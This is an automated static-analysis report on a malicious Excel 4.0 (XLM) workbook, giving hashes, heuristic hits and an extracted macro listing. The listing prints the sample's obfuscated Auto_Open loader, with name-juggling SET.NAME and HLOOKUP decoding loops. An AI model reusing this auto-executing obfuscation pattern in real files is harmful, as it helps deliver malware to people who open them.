Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e6e0ffa7ede12457…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:09 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 8c86a5ee2d0fead5720642d9c66266d5 SHA-1: ab6d19b61fe1d10c608d897a3db1f19fb37f301a SHA-256: e6e0ffa7ede12457dcf70f827a3cb9943a4e5466be89daa4504be59a2a39617f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6679 bytes
SHA-256: 527680740c231074d9f0bfccb0962f8bf8d8b6c95a93214b1c13c13e3e15ac3e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  qrLdMN
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D193 
' 0018     25 LABEL : Cell Value, String Constant - cIMVZdXPsE len=0 
' 0018     20 LABEL : Cell Value, String Constant - eoZLa len=0 
' 0018     24 LABEL : Cell Value, String Constant - feQQcTVoE len=0 
' 0018     26 LABEL : Cell Value, String Constant - fRfEkkDKwCl len=0 
' 0018     20 LABEL : Cell Value, String Constant - fzjXg len=0 
' 0018     24 LABEL : Cell Value, String Constant - gcdtuKVxh len=0 
' 0018     25 LABEL : Cell Value, String Constant - GNicgQaHum len=0 
' 0018     26 LABEL : Cell Value, String Constant - gvVtvEARspN len=0 
' 0018     27 LABEL : Cell Value, String Constant - kRTVwGjkKVpV len=0 
' 0018     26 LABEL : Cell Value, String Constant - mFsIIeMIHSo len=0 
' 0018     26 LABEL : Cell Value, String Constant - TGOZvQDvroT len=0 
' 0018     22 LABEL : Cell Value, String Constant - uLAlHeX len=0 
' 0018     27 LABEL : Cell Value, String Constant - wBQPBZMvvlXA len=0 
' 0018     23 LABEL : Cell Value, String Constant - WbuIvkZn len=0 
' 0018     21 LABEL : Cell Value, String Constant - WfDiXl len=0 
' 0018     22 LABEL : Cell Value, String Constant - wQBOqVp len=0 
' 0018     20 LABEL : Cell Value, String Constant - xaNZH len=0 
' 0018     20 LABEL : Cell Value, String Constant - YZAEb len=0 
' 0018     23 LABEL : Cell Value, String Constant - zpDuxWCb len=0 
' 0018     25 LABEL : Cell Value, String Constant - zwOlDAqbXO len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  qrLdMN,T70,"",-102.00000000000000000000
'  qrLdMN,T71,"",517.00000000000000000000
'  qrLdMN,T72,"",794.00000000000000000000
'  qrLdMN,T73,"",44.00000000000000000000
'  qrLdMN,T74,"",566.00000000000000000000
'  qrLdMN,T75,"",788.00000000000000000000
'  qrLdMN,D101,"SET.NAME("mFsIIeMIHSo",0+VALUE("0"))",""
'  qrLdMN,D105,"SET.NAME("feQQcTVoE",mFsIIeMIHSo)",""
'  qrLdMN,D107,"SET.NAME("YZAEb",mFsIIeMIHSo)",""
'  qrLdMN,D112,"SET.NAME("WbuIvkZn",COUNTA(WfDiXl))",""
'  qrLdMN,D117,"SET.NAME("wBQPBZMvvlXA",COUNTA(uLAlHeX))",""
'  qrLdMN,D122,[],""
'  qrLdMN,D124,"SET.NAME("fRfEkkDKwCl","")",""
'  qrLdMN,D128,"feQQcTVoE",""
'  qrLdMN,D130,"SET.NAME("GNicgQaHum",HLOOKUP("*",WfDiXl,feQQcTVoE,FALSE))",""
'  qrLdMN,D133,"gvVtvEARspN",""
'  qrLdMN,D136,"SET.NAME("zwOlDAqbXO",mFsIIeMIHSo)",""
'  qrLdMN,D139,[],""
'  qrLdMN,D144,"zwOlDAqbXO",""
'  qrLdMN,D146,"eoZLa",""
'  qrLdMN,D149,"xaNZH",""
'  qrLdMN,D153,"fzjXg",""
'  qrLdMN,D158,"SET.NAME("TGOZvQDvroT",VALUE(HLOOKUP("*",uLAlHeX,fzjXg,FALSE)))",""
'  qrLdMN,D163,"kRTVwGjkKVpV",""
'  qrLdMN,D167,"fRfEkkDKwCl",""
'  qrLdMN,D170,"YZAEb",""
'  qrLdMN,D173,NEXT(),""
'  qrLdMN,D178,"cIMVZdXPsE",""
'  qrLdMN,D181,[],""
'  qrLdMN,D183,"gcdtuKVxh",""
'  qrLdMN,D185,NEXT(),""
'  qrLdMN,D189,RETURN(),""
'  qrLdMN,D218,"SET.NAME("zpDuxWCb",D101)",""
'  qrLdMN,D220,"WfDiXl",""
'  qrLdMN,D223,"SET.NAME("uLAlHeX",R73C13)",""
'  qrLdMN,D225,"SET.NAME("gcdtuKVxh",236)",""
'  qrLdMN,D230,"SET.NAME("wQBOqVp",4)",""
'  qrLdMN,D235,zpDuxWCb(),""
'  qrLdMN,D236,HALT(),""

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